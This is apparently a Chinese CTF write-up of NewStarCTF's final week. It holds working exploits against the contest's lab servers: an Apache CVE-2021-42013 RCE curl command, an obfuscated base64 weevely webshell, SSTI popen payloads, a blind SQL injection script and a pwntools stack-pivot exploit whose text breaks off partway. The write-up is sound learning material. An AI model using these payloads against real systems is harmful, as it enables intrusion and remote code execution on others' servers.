前言 本周也是NewStar的最后一周了,不知不觉一个月过去了哈哈,引用web的一道彩蛋
多少还是有点感动了,我哭死(
这次NewStarCTF学到了很多东西,二进制这块有进步,巩固了杂项和web等等。感谢各位出题人🙏题目质量很OK
以下是本周解题情况:
本周难度还可以,web和misc真不难~~
Web Web1.Give me your photo PLZ 文件上传题,上传后的图片会显示到当前页面,也就是说知道了图片url
尝试上传php 被过滤了,考虑使用服务解析漏洞
先随便访问一个url造成报错,然后发现服务是apache2.4
apache存在一个文件解析漏洞,如果apache不认识文件的扩展名就会往前找,往前找.php扩展名 发现是php文件就会交给php解析器执行,具体参考这篇文章:https://www.cnblogs.com/unknown404/p/10176272.html
那么,我们就可以构造1.php.aaa这种后缀,内容要写POST请求的马,然后去执行就可以getshell了。
访问,然后post请求执行system函数。
可以看到成功执行了,后面找flag就行了
彩蛋: 呜呜呜,可是我不知道env怎么拿啊(bushi
Web2.Unsafe Apache apache作为web服务的默认页面,结合题目名去找apache的漏洞
CVE-2021-42013 Apache HTTP Server 路径穿越漏洞,参考文章:https://blog.csdn.net/qq_60905276/article/details/125163219
原本是用.%2e绕过,但是被修复后就用.%%32e绕过cve-2021-41773的防御
curl --data "echo;ls" http://node4.buuoj.cn:27830/cgi-bin/.%%32e/.%%32e/.%%32e/.%%32e/bin/sh
把要执行的命令加到echo;后,即可RCE
flag在根目录下的ffffllll,构造cat /ffffllll* 即可
Payload:
curl --data "echo;cat /ffff*" http://node4.buuoj.cn:27830/cgi-bin/.%%32e/.%%32e/.%%32e/.%%32e/bin/sh
Web3.So Baby RCE Again <?php error_reporting(0); if(isset($_GET["cmd"])){ if(preg_match('/bash|curl/i',$_GET["cmd"])){ echo "Hacker!"; }else{ shell_exec($_GET["cmd"]); } }else{ show_source(__FILE__); }
上来直接就RCE了,需要注意的是shell_exec这个执行后不会有任何回显,有点像python的os.popen。大家可以去了解下这个函数的详情。
可以用
这种方式判断命令是否执行,若没有执行浏览器则会sleep 1s
还有
?cmd=ls > xxx.txt; //访问/xxx.txt
这种方式来看回显
原本是想弹vps的,但死活弹不上,就传了个weevely webshell,kali连接
?cmd=echo PD9waHAKJG89J29PNGdSZ1IzdkRpVEEiO2Z1Z1JuY3Rpb2dSbiB4KCR0LCRrKXskZ1JnUmM9c3RybGVuKGdSJGdSayk7JGxnUj1zdGdScmxlbigkdCk7JGdSbz0iIjtmb3InOwokRD0nOyRyPWdSZ1JAYmFnUnNlNjRfZW5jb2dSZGdSZShAeChAZ2dSemNvbXByZ1Jlc3MoJG8pLCRrKSk7cHJnUmludCgiZ1IkcCRraCRnUnIka2YiKTt9JzsKJEc9J0BiYXNnUmU2NF9kZWNvZGUoZ1JnUmdSJG1bMV0pLCRrKSlnUik7JG89QGdSb2JfZ2V0X2dSY29udGVudHNnUigpO0BvYl9lbmdSZF9jZ1JsZWFuKCknOwokZD0nUmt7JGpnUmdSfTt9fXJlZ1J0dXJuICRvO31pZmdSIChAcHJlZ19tYXRnUmNoKGdSIi8ka2goLitnUilnUiRrZi8iLGdSQGZpbGVfZ2V0X2NvbnRnUmUnOwokZz1zdHJfcmVwbGFjZSgnSmsnLCcnLCdjSmtySmtlYXRlX0prSmtmSmtKa3VuY3Rpb24nKTsKJHQ9JyRrPSIyZ1IwMmNiOTZnUjIiO2dSJGtoPSJhYzU5Z1IwNzViZ1I5NjRiIjska2Y9ImdSZ1IwNzE1MmQyMzRiNzBnUiI7Z1IkcD0iTFdBUGdSVmI5JzsKJEk9JygkaT0wO2dSJGk8JGxnUjtnUil7Zm9yKCRnUmo9MGdSOygkajwkYyYmJGdSaTwkbCk7JGorK2dSLCRpK2dSKyl7Z1Ikby49JHR7JGdSaX1eJGcnOwokdz0nZ1JudHMoInBnUmhwZ1I6Ly9pbnB1dCJnUiksJG0pPT0xKSB7QG9nUmJfZ1JnUmdSc3RhcnQoKTtAZXZhZ1JsZ1IoQGd6dW5jb21wcmVzZ1JzKEB4KCc7CiRmPXN0cl9yZXBsYWNlKCdnUicsJycsJHQuJG8uJEkuJGQuJHcuJEcuJEQpOwokTD0kZygnJywkZik7JEwoKTsKPz4K | base64 -d > shell.php // Password: 123 //weevely http://a18436cc-3308-4ec2-b39c-d3422086f8fa.node4.buuoj.cn:81/shell.php 123
成功上线。
flag在/ffll444aaggg,但由于我们是webshell 所以没权限读
这里要越权读文件,用的学弟的办法date -f /ffll*
这个date -f可以把里面的内容当作回显输出
其他的做法我觉得可以参考第三周misc2那题的绕过办法。
Web4.BabySSTI_Three 这题黑名单过滤的很多,各种类都被ban了
先用7*7
看看能不能执行
显然OK,然后尝试构造{{''.__class__}}
发现被过滤,猜测是下划线和关键词都被过滤了。
这里就要用到编码绕过了,用\x5f\x5f这种方式可以代替 “__“
然后每个类之间应用[]拼接
写了个小脚本方便构造
a = b"__class__" res = "" for i in a: res += "\\x%s"%hex(i)[2:] print("['%s']"%res)
把要用的关键词填到里面就可以,之后就开始绕过!
这里我就贴下之前做的时候写的payload
Payload: ?name={{[]['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[117]}} #[]['__class__']['__base__ ']['__subclasses__'][117] //os ?name={{[]['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[117]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('\x6c\x73\x20\x2f').read()}} #[]['__class__']['__base__ ']['__subclasses__'][117]['__init__']['__globals__']['popen']['ls /'].read() // cmd: ls / #Welcome to NewStarCTF Again And Again, Dear app bin boot dev etc flag_in_h3r3_52daad home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var #flag:flag_in_h3r3_52daad ?name={{[]['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[117]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x5f\x69\x6e\x5f\x68\x33\x72\x33\x5f\x35\x32\x64\x61\x61\x64').read()}} #[]['__class__']['__base__ ']['__subclasses__'][117]['__init__']['__globals__']['popen']['cat /flag_in_h3r3_52daad'].read()
Web5.Final round 又是之前的SQL注入类型的模板,尝试随便输一个数字
发现没有回显,再结合题目简介提示,想到sleep延时注入
构造payload测试下:1 and sleep(3)
发现被过滤,一番尝试后发现是空格被过滤,字符间不能有空格,用编码%0b或者%0c绕过
发送后发现浏览器在转圈圈,说明存在延时注入
用concat截取字符串 再用ascii函数与某个数对比,是则sleep 否则过掉 用这种办法可以得到库 表 字段的每一个ascii 最后找到flag
类似于这样:name=1%0band%0bif((ascii(substr(database(),0,1))>117),1,sleep(3))
之后就是跑二分法脚本试出来的,脚本的payload要多改多试,flag在wfy.wfy_comments表的text字段中
(忘记贴脚本了,来补一下)
import requests import time s = requests.session() url = 'http://59d2a20f-566b-4efb-8d45-e391a9672c6d.node4.buuoj.cn:81/comments.php?name=' flag = '' i = 0 d = 0 while d == 0: i = i + 1 low = 32 high = 127 while low < high: mid = (low + high) // 2 # payload = f'1%0band%0bif((ascii(substr(database(),{i},1))>{mid}),1,sleep(3))' # payload = f'1%0band%0bif(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid},1,sleep(3))' # payload = f'1%0band%0bif(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="wfy_comments")),{i},1))>{mid},1,sleep(3))' payload = f'1%0band%0bif(ascii(substr((select(text)from(wfy_comments)where(user="f1ag_is_here")),{i},1))>{mid},1,sleep(3))' stime = time.time() url1 = url + payload r = s.get(url=url1) r.encoding = "utf-8" print(payload) if time.time() - stime < 2: low = mid + 1 else: high = mid if low != 32: flag += chr(low) else: break print(flag)
Misc Misc1.最后的流量分析 sql注入流量分析,wireshark分析
筛选条件http
可以看到一堆字段尝试,我的做法是筛选正确包的长度length来找flag
length咋找呢?我们已知flag前缀为flag{,所以substr为1,2,3,4,5的我们都能找到正确的length
追踪tcp流,然后找下面的get包 查看其length
length为768,用wireshark筛选条件frame.len >= 768
这个数字也可以改小点,筛选后按No.升序,一个个看下来就是flag了
Flag:flag{c84bb04a-8663-4ee2-9449-349f1ee83e11}
(又重新找了遍累死了) 这个流量分析和之前比还是比较简单的
Misc2.奇怪的PDF 2 一个pdf却是lnk后缀,但也能打开 就很奇怪
打开属性看lnk内容
本来只是看不懂去搜下百度,结果搜到原题了。。
参考:https://www.anquanke.com/post/id/267031
解题步骤:
先获取pdf额外数据findstr "TVNDRgAAAA" strange2.pdf.lnk > ans
处理数据的base64加密:
import base64 f = open("ans", "rb") data = f.read() p = base64.b64decode(data) f.close() f = open("res.cab", "wb") f.write(p) f.close() print("-----------")
运行完得到了一个.cab文件,可以直接打开,发现flag.txt打开得到flag
Flag:flag{It_1s_a_fak3_but_r3al_PDF}
Misc3.Yesec no drumsticks 5 也是简单题,做的我都来劲了。。
下载文件到本地
git管理:git log(查看git记录)
没有什么东西
git stash list(查看修改列表)
有东西再看下修改列表
git stash show(查看修改列表)
看到flag了,最后提取即可
git stash apply(把上面的文件复原)
得到flag.txt
Flag:flag{Yesec#1s#c@ibi}
Misc4.奇怪的文本 下载附件
得到这堆奇怪的文本,刚开始还在试是什么加密
然后放quip上跑没结果,又试了很多加密方法都不是,突然想到字频分析这个东西
分析一下得到flag,还是比较脑洞的
Flag:flag{S0B48yCA}
脑洞题就是这样,想到的人做的很快,想不到的人一周都想不明白到底是啥加密,很真实。。
Misc5.qsdz’s girlfriend 5 下载附件得到一个passwd.txt和加密压缩包。
passwd.txt
虽然给了passwd.txt但还是对压缩包尝试了伪加密 爆破密码等,无果
之后就是对passwd.txt进行分析,各种分析之后也是无果
貌似看起来无解呢。
突然想到了对题目这个压缩包进行分析,果然找到了一点线索
芜湖,得到了提示NTFS流隐写。
之后就是把压缩包所有文件解压到一个文件夹下进行分析
注意要用winrar解压,如果用bandizip解压会出现这种情况 导致分离不出passwd.txt
(可能跟算法有关系,有兴趣可以去了解下)
winrar解压后。NTFS分析得到新的passwd.txt 导出得到密码:Can_you_crack_steghide?
用密码解压压缩包得到图片second_gf.jpg
根据这个密码提示steghide,那么解压后肯定就是尝试steghide了
本来我以为只有弱密码这么简单…. 出题人太卑鄙辣
本来百度到的都是那种py脚本在那里跑,贼慢 而且字典不知道 搞了个纯数字在那里跑。。
实际上出题人是想通过搜索crack_steghide搜到工具stegseek(赛博脚本嗷),然后一把梭。。
字典是kali的rockyou.txt,然后这个工具默认字典就是这个 就可以出了。
不过不错的一点是啥捏,就是这个工具是真挺不错 rockyou.txt将近一个g的字典也只用几十秒跑完。
stegseek安装:https://github.com/RickdeJager/stegseek/releases
下载.deb文件后 sudo apt install ./stegseek_0.5-1.deb
之后就可以用了
得到密码 iloveelaina ,并导出文件内容到.jpg.out里
最后cat得到flag
flag{W3lc0me_tO_be_NewSt@rs!}
Welcome to be Newstar! Goodbye Newstar…
Misc6.12bubu_pixel 这道题需要nc连接
连接后发现是字符画,映出了好几张图像
刚开始拿到题目 思路其实就是把这个字符串变成图像,再从图像隐写的方向去解题。
这里用socket连接,再用recv(1024)去接收字符串
先接收一部分内容 看看这个有颜色的数字是怎么实现的
这个东西是颜色代码 哈哈哈 写python脚本比较多所以比较熟悉
其实是有名字的 叫ANSI码,感兴趣可以了解下
拿到这一串字符串前面的\x1b[A作用和\r一样,对结果不影响 所以处理的时候可以直接replace了
然后看图片红框圈起来的部分 这些就是实现颜色的主要部分了
这一部分重点是中间分号的三个数字,这三个数字就代表着R G B 所以能实现颜色
可以用
echo -e "\x1b[38;2;0;0;0m9"
看看效果
这里我用红色的RGB做例子
可以看到印证了我前面所说的,这一个特征刚好也是后面摸索出来的规律。
现在思路就很明显了,我们只需提取服务器的所有字符串,然后对字符串进行替换、正则匹配处理,取RGB值到列表中,一个元素代表着一个像素点,再创建一个图像(因为还不知道宽高,所以图像宽高可以设的高一点)x轴就取每一个像素点,然后接收的字符串还有换行字符串\n,以这个作为特征来区分y轴。最后遍历x y把rgb写进去 就可以实现字符串转换成图像。
后面测试过来得到小图大小为200*200,就顺便把每张图片做了分割。
贴下脚本
import socket import re from PIL import Image s = socket.socket() s.connect(('node4.buuoj.cn',26994)) total_data = b'' data = s.recv(2048) while data: # 将收到的数据拼接起来 total_data += data data = s.recv(2048) img = Image.new('RGB',(200,6000)) print(len(total_data)) total_data = total_data.replace(b'\x1b[A',b'') x = 0 y = 0 t = 1 for image in total_data.split(b'\n\n'): img = Image.new('RGBA',(200,200)) for data in image.split(b'\n'): for color in re.findall(b'\x1b\[38.*?m', data): r,g,b = re.findall(b'2;(.*)m',color)[0].split(b';') print((x,y),int(r),int(g),int(b)) img.putpixel((x,y),(int(r),int(g),int(b))) x+=1 y+=1 x=0 print('Image %s already'%t) img.save('%s.png'%t) t += 1
运行完得到了一堆小图
完美还原。
之后问了出题人,出题人告诉我题目的pixel是提示
于是就找pixel cloack-pixel,steganographer等等,试了steg还是没找对
然后就找到了running_pixel,果然搜索也是一门艺术 哎
突然想到这么多图确实也是gif,没毛病
running_pixel就是将每张图片中RGB为(233,233,233)值的像素点提取出来,然后拼接到一个图像上绘制成flag。
在nc看图像的时候确实每张图片都有一点小白点,没想到这也能是隐写
from PIL import Image flag_img = Image.new('1', (400, 400)) # mode=1 1位黑白像素,每字节存储一个像素 for name in range(1, 29): image = Image.open(str(name) + '.png') image = image.convert("RGB") # python PIL将RGB图像转换为纯黑白imag width, height = image.size for w in range(width): for h in range(height): if image.getpixel((w, h)) == (233, 233, 233): flag_img.putpixel((w,h), 1) flag_img.save('res.png')
运行得到图像
flag出来了!
最后完善了脚本 写了个小轮子,贴下我最后的完整脚本
from PIL import Image import socket import re s = socket.socket() s.connect(('node4.buuoj.cn',26994)) total_data = b'' data = s.recv(1024) while data: # 将收到的数据拼接起来 total_data += data data = s.recv(1024) print('[*] Data is already') flag_img = Image.new('1', (400, 400)) total_data = total_data.replace(b'\x1b[A',b'') print('[*]Now start to extract img_pixel') t = 0 for image in total_data.split(b'\n\n'): if image != "": t += 1 img = Image.new('RGB',(200,200)) x = 0 y = 0 for data in image.split(b'\n'): for color in re.findall(b'\x1b\[38.*?m', data): r,g,b = re.findall(b'2;(.*)m',color)[0].split(b';') #print((x,y),int(r),int(g),int(b)) img.putpixel((x,y),(int(r),int(g),int(b))) x+=1 y+=1 x=0 print('Image %s already'%t) # mode=1 1位黑白像素,每字节存储一个像素 width, height = img.size for w in range(width): for h in range(height): if img.getpixel((w, h)) == (233, 233, 233): flag_img.putpixel((w,h), 1) #img.save('%s.png'%t) print('[+] Success!') flag_img.show() flag_img.save('flag.png')
Flag:flag{how_about_ansi_and_running_pixel}
Crypto Crypto1.flip-flop import os from Crypto.Cipher import AES from secret import FLAG auth_major_key = os.urandom(16) BANNER = """ Login as admin to get the flag ! """ MENU = """ Enter your choice [1] Create NewStarCTF Account [2] Create Admin Account [3] Login [4] Exit """ print(BANNER) while True: print(MENU) option = int(input('> ')) if option == 1: auth_pt = b'NewStarCTFer____' user_key = os.urandom(16) cipher = AES.new(auth_major_key, AES.MODE_CBC, user_key) code = cipher.encrypt(auth_pt) print(f'here is your authcode: {user_key.hex() + code.hex()}') elif option == 2: print('GET OUT !!!!!!') elif option == 3: authcode = input('Enter your authcode > ') user_key = bytes.fromhex(authcode)[:16] code = bytes.fromhex(authcode)[16:] cipher = AES.new(auth_major_key, AES.MODE_CBC, user_key) auth_pt = cipher.decrypt(code) if auth_pt == b'AdminAdmin______': print(FLAG) elif auth_pt == b'NewStarCTFer____': print('Have fun!!') else: print('Who are you?') elif option == 4: print('ByeBye') exit(0) else: print("WTF")
题目是菜单题,第一个功能就是获取明文为 NewStarCTFer____ 的AES加密中的iv参数和加密结果code
第三个功能是要求我们输入一个authcode 会把这个authcode解析给user_key和code,然后最终解出来的结果要变成AdminAdmin______
其它两个功能没啥用,这两个比较重要。
这题考察的是AES的CBC字节翻转攻击,学习可以参考这篇文章https://www.likecs.com/show-205079481.html 我就是看这篇文章做出来的。 ( 本来我是拒绝的,但是我看了下题还挺感兴趣的,就试着做 没想到就做出来了)
因为key(auth_major_key)和iv(user_key)是随机分配的,我们不能得知 ,但是user_key是可控的,可以通过user_key去修改解密的结果
篡改是通过A ^ B ^ C 将A修改为C,原理参考上面的文章
比如我想把解密结果的N改成A,那么就是
user_key[0] ^ ord('N') ^ ord('A') #把user_key的第一个字节改成A
可以把题目的那个py文件拿来调试,把各个值都打印出来看看实际结果怎么样,建议是先调试弄明白了然后再搞服务端那边。
就此写脚本 推出修改后的密文,再发送给服务端 就可以得到flag。
import binascii def flip(): res = "a25e151f887fbede44d418631fba063eb11806e1b8a242ad46a383aad1dbe1b0" #这里填写服务端分配给你的key user_key,code = bytes.fromhex(res)[:16],bytes.fromhex(res)[16:] newcipher = list(user_key) print(user_key.hex(),code.hex()) print(newcipher) newcipher[0] = newcipher[0] ^ ord('N') ^ ord('A') newcipher[1] = newcipher[1] ^ ord('e') ^ ord('d') newcipher[2] = newcipher[2] ^ ord('w') ^ ord('m') newcipher[3] = newcipher[3] ^ ord('S') ^ ord('i') newcipher[4] = newcipher[4] ^ ord('t') ^ ord('n') newcipher[5] = newcipher[5] ^ ord('a') ^ ord('A') newcipher[6] = newcipher[6] ^ ord('r') ^ ord('d') newcipher[7] = newcipher[7] ^ ord('C') ^ ord('m') newcipher[8] = newcipher[8] ^ ord('T') ^ ord('i') newcipher[9] = newcipher[9] ^ ord('F') ^ ord('n') newcipher[10] = newcipher[10] ^ ord('e') ^ ord('_') newcipher[11] = newcipher[11] ^ ord('r') ^ ord('_') print(newcipher) rescipher = b"" for i in newcipher: rescipher += binascii.unhexlify(hex(i)[2:].zfill(2)) print(rescipher.hex()) print('\nresult:%s%s'%(rescipher.hex(),code.hex())) flip()
把res改成服务端给的key,然后运行得到新的key再发送给服务端即可。
Flag:flag{filp_the_word!!!!!!!!}
Reverse Reverse1.拔丝溜肆 (easy) 64位程序,无壳。IDA分析
main函数就是把输入的东西经过加密后要等于Str那个密文。
跟进sub_140011069看加密程序
这个函数一看就是base64加密的特征 很眼熟。
本来我以为这是个很简单的题目,但base64的表呢? 跟进sub_14001127B函数 看看干了啥 这里是做了随机,因为base64表有64位,所以对表进行了一个随机遍历
Str表:
随机的就比较烦了,需要爆破
我们输入的字符串被要求42位长,v6每次加3,那么就要遍历42 /3 = 14次,也就是说有14个不同表,然后每次选用一个表时会赋值给byte_14001E1C0 4个字符串
加密之后要和str2判断。
爆破就完了,把64种可能的表都写下来,然后再遍历ascii表 符合条件就筛出 最后得到结果
当时结果写完有很多种可能,还想遍历每个列表的字符串来写,但是发现不会。。好在观察特征发现 每隔几组就带有一个-,而且基本是数字 a-f这些,后面才发现是16进制的字符串,然后拼接得到flag。 (不得不说我要是没注意到这个特征我现在可能还卡在循环)
贴下最终脚本:
import random import string cipher = "CPaKBfUZFcNwW9qCKgyvuS2PGPQ9mttGc/wCNS0w6hDwGOSsOkOEkL5V" str1 = [0]*56 str = "" def gettable(): Str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" table = ['']*99 v1 = random.randint(0,64) for i in range(len(Str)): table[i] = Str[(v1+i)%64] return (''.join(table)) def encode(a1,a2): #a1=str(input) a2=str1 v5 = len(a1) v3 = v5 >> 31 v3 = v5 %3 v2 = 3 v6 =0 v7 = 0 while v6<v5: table = gettable() print(table) a2[v7] = table[a1[v6]>>2] a2[v7+1] = table[((a1[v6 + 1] & 0xF0) >> 4) | (16 * (a1[v6] & 3))] a2[v7+2] = table[((a1[v6 + 2] & 0xC0) >> 6) | (4 * (a1[v6 + 1] & 0xF))] v3 = v7+3 a2[v3] = table[a1[v6 + 2] & 0x3F] v6 += 3 v7 += 4 print(''.join(a2)) #mz+u3VL/WUDfNL6WJH2SDBwMtra2YWFhusb3CAvL64nDB/uKfdMovtcU def decode(): table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" table_list = [] for i in range(len(table)): temp = "" for k in range(len(table)): temp += table[(i+k)%64] table_list.append(temp) cipher = "CPaKBfUZFcNwW9qCKgyvuS2PGPQ9mttGc/wCNS0w6hDwGOSsOkOEkL5V" cipher_list = [] for i in range(0,len(cipher),4): cipher_list.append(cipher[i:i+4]) #ascii_table = (string.ascii_letters + string.digits + '!-?@_{}~').encode() #后面发现flag只有16进制,这个出题人真的是我醉了,改table ascii_table = (string.hexdigits + "lg{}-").encode() temp_list = ['0','0','0','0'] res = [] times = 0 for r in cipher_list: #part = [] times+=1 print('[*] now times is :%s'%times) print('-'*50) for a in ascii_table: for b in ascii_table: for c in ascii_table: n = '%s%s%s'%(chr(a),chr(b),chr(c)) for t in table_list: temp_list[0] = t[a>>2] temp_list[1] = t[((b & 0xF0) >> 4) | (16 * (a & 3))] temp_list[2] = t[((c & 0xC0) >> 6) | (4 * (b & 0xF))] temp_list[3] = t[c & 0x3F] if r == ''.join(temp_list): print(n,t) #part.append(n) res.append(n) #res.append(part) print(''.join(res)) #[['b\\ ', 'fla', 'V+]', '%hQ'], ['g{1', 'K\tj', 'W:-', '&w!', '[Jn'], ['257', '6Ex', 'wIH', 'Bv;'], ['388', '7Hy', 'd\x0bE', 'tLI', 'Cy<'], ['2-1', '6=r', 'w1B', 'Bn5', 'F~v'], ['p\t=', 'CF1', 'GVr'], ['nIR', '-EB'], ['5E-', '9Un', 'vI=', 'zY~'], ['t\x0cC', 'C96', 'GIw', 'Sz:'], ['5-0', '9=q', 'z1A', 'En4', 'I~u'], ['35B', 'p9R', 'CvF'], ['1F2', '5Vs', 'b\t>', 'vZC'], ['63C', 'w7S', 'FtG'], ['38}', 'l,\x0c', 'p<M', 'CyA', '/(<']][['b\\ ', 'fla', 'V+]', '%hQ'], ['g{1', 'K\tj', 'W:-', '&w!', '[Jn'], ['257', '6Ex', 'wIH', 'Bv;'], ['388', '7Hy', 'd\x0bE', 'tLI', 'Cy<'], ['2-1', '6=r', 'w1B', 'Bn5', 'F~v'], ['p\t=', 'CF1', 'GVr'], ['nIR', '-EB'], ['5E-', '9Un', 'vI=', 'zY~'], ['t\x0cC', 'C96', 'GIw', 'Sz:'], ['5-0', '9=q', 'z1A', 'En4', 'I~u'], ['35B', 'p9R', 'CvF'], ['1F2', '5Vs', 'b\t>', 'vZC'], ['63C', 'w7S', 'FtG'], ['38}', 'l,\x0c', 'p<M', 'CyA', '/(<']] #encode(b'flag{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}',str1) decode()
Flag:flag{12573882-1CF1-EB5E-C965-035B1F263C38}
Reverse2.E4sy_Mix (hard) 32位程序。IDA分析
上来进行了一个异或,然后进函数加密loc_402000。
这个函数有点问题要选中红色的部分按P修复
一堆汇编语言,看不懂。
后面尝试着修复这个程序,但是不是修不修的问题 咋修都这个样 害!
卡了一段时间,直到我看到了这个:
算是出题人的hint吗hh,写了个SMC,就好奇搜了下 结果就有了解题思路
SMC,即Self Modifying Code,动态代码加密技术,指通过修改代码或数据,阻止别人直接静态分析,然后在动态运行程序时对代码进行解密,达到程序正常运行的效果。 而计算机病毒通常也会采用SMC技术动态修改内存中的可执行代码来达到变形或对代码加密的目的,从而躲过杀毒软件的查杀或者迷惑反病毒工作者对代码进行分析。 通常来说,SMC使用汇编去写会比较好,因为它涉及更改机器码,但SMC也可以直接通过C、C++来实现。
贴下一下让我有思路的文章:https://blog.csdn.net/weixin_40729735/article/details/121595169
这个SMC需要写.idc脚本,这个idc要根据实际情况修改,不能照抄。把IDA中需要解密的部分按U undefined掉,然后导入脚本 再次编译就得到了源码
#include <idc.idc> static main() { auto addr = 0x402000; //起始地址 auto i = 0; for(i=0;addr+i<0x402039;i++) //结束地址 { PatchByte(addr+i,Byte(addr+i)^0x54); //加密写的异或0x54 } }
选中这一块按U
有黄色的部分就可以了,然后IDA选择File - Script file - xxx.idc 选刚刚写好的idc
导入后会发现字节发生了变化
这时候再选中0x402000 - 0x402039的部分 按C强制转换函数
再选中按P添加函数,此时就修复好了
第一个函数:
第二个函数:
实际上是一个RC4加密,对着解密即可。
写python解密的过程不得不感叹下C和python的差别真的很大,因为各种类型在python都是正常的 到了C就变成各种负数,脚本有一部分^-256是因为根据C的整型类型在python进行一个转换
脚本写的比较烂:
byte_404490 = [0]*256 byte_404390 = [0]*256 byte_404018 = b"flag{This_a_fake_flag}" a2 = len(byte_404018) #22 for i in range(0,256): byte_404490[i] = i byte_404390[i] = byte_404018[i % a2] #print(byte_404390) #print(byte_404490,byte_404390) v3 = 0 #print(byte_404490) for j in range(0,256): v5 = byte_404490[j] v3 = (v5 + byte_404390[j] + v3) % 256 result = byte_404490[v3] if result > 127: byte_404490[j] = result^-256 else: byte_404490[j] = result if v5 > 127: byte_404490[v3] = v5^-256 else: byte_404490[v3] = v5 result = 32 #32 v3 = 0 v4 = 0 #a1 = [0]*len(byte_404490) a1 = [161, 191, 182, 112, 99, 91, 59, 237, 244, 145, 129, 164, 189, 58, 83, 134, 91, 140, 219, 65, 27, 115, 225, 209, 242, 178, 223, 110, 22, 86, 34, 66, 252] for i in range(0,result): v3 = (v3 + 1) % 256 v5 = byte_404490[v3] v4 = (v5 + v4) % 256 byte_404490[v3] = byte_404490[v4] byte_404490[v4] = v5 #3print(v5,byte_404490[v3],v3) a1[i] ^= byte_404490[v5 + byte_404490[v3]] flag = "" print(a1) for i in a1: if i <0: flag += chr(i^-256) else: flag += chr(i) print(flag)
运行得到flag
Flag:flag{RC4_and_SMC_is_interesting!}
Pwn Pwn1.overflow me plz 呜呜呜自己通过调试做出来的一道题,感觉调试进步了!不容易!!
题目给了libc
检查:
主函数:
主函数很简单,一个溢出
溢出量很小,仅能溢出0xd0 - 0xc0 = 16 两个地址的大小 不过可以实现跳转和迁移。
所以这里思路就是栈迁移,这里打算泄露write的地址,第一次迁移要把write的地址泄露出来,然后重新跳转到输入点,之后构造libcbase 搞出system和binsh 最后第二次输入点再搞一次栈迁移,迁到system(‘/bin/sh’)的地方。
迁移的地方选用bss段+0x500的地方,这个地方申请大点以免影响到其他段的内容
到了这个地址后把我们要写的payload写到bss+0x500的地方,payload就是ret2libc泄露write地址那样写(注意payload还写了返回地址为main_addr,是为了二次构造再发送),然后最后要填充0xc0的字符,最后16个字节就写p64(bss-8) + p64(leave_ret)
劫持rbp到bss段,让程序执行我们布置好的payload。
from pwn import * context.log_level = 'debug' p = remote('node4.buuoj.cn',25018) leave_ret = 0x4006f7 main_addr = 0x400698 read_addr = 0x4006d9 rdi = 0x0000000000400763 rsi_r15 = 0x0000000000400761 write_got = elf.got['write'] write_plt = elf.plt['write'] csu_end = 0x40075a csu_front = 0x400740 bss = elf.bss() + 0x500 log.info('bss:%s'%hex(bss)) ### First Overflow: rbp => bss , return read_addr to leak write_addr ### payload = b'd'*0xc0 + p64(bss+0xc0) +p64(read_addr) p.sendafter('it!\n',payload) sleep(1) ### Leak [write_addr] & return [main_addr] payload = p64(rdi) + p64(1) + p64(rsi_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(main_addr) # payload = payload.ljust(0xc0,b'b') payload += p64(bss-8) + p64(leave_ret) p.send(payload)
发送后如果没错就会把write_addr给打印出来,接收并构造libcbase即可
### ret2libc: leak system_addr & binsh_addr write_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) log.info("write_addr:%s"%hex(write_addr)) libc_base = write_addr - libc.sym['write'] system = libc_base + libc.sym['system'] binsh = libc_base + next(libc.search(b'/bin/sh')) log.info("system_addr:%s,binsh:%s"%(hex(system),hex(binsh)))
当时调试的时候做到这步就很开心了,因为能弹回main_addr就说明栈迁移的没错,payload写对了!
之后就是再发送system(‘/bin/sh’)给bss段,进行一个二次栈迁移。
需要注意第二次bss段的地址跟第一次的地址不要离得太近,不然可能会冲突
log.info('Double Overvlow!try to getshell\n===================') ### Double Overflow: rdi+binsh+system = getshell bss = elf.bss() + 0x800 #new bss payload = b'a'*0xc0 + p64(bss+0xc0) +p64(read_addr) p.sendafter('it!\n',payload) sleep(1) payload = p64(rdi) + p64(binsh) + p64(system) payload = payload.ljust(0xc0,b'c') payload += p64(bss-8) + p64(leave_ret) p.send(payload) #################### p.interactive()
最终Payload:
from pwn import * context.log_level = 'debug' #p = process('./pwn') p = remote('node4.buuoj.cn',26594) #p = gdb.debug('./pwn','break *0x601058') #p = gdb.debug('./pwn','break *0x400740') elf = ELF('./pwn') libc = ELF('./libc-2.31.so') leave_ret = 0x4006f7 main_addr = 0x400698 read_addr = 0x4006d9 rdi = 0x0000000000400763 rsi_r15 = 0x0000000000400761 write_got = elf.got['write'] write_plt = elf.plt['write'] csu_end = 0x40075a csu_front = 0x400740 bss = elf.bss() + 0x500 log.info('bss:%s'%hex(bss)) ### First Overflow: rbp => bss , return read_addr to leak write_addr ### payload = b'd'\*0xc0 + p64(bss+0xc0) +p64(read_addr) p.sendafter('it!\\n',payload) sleep(1) ### Leak [write_addr] & return [main_addr] payload = p64(rdi) + p64(1) + p64(rsi_r15) + p64(write_got) + p64(0) + 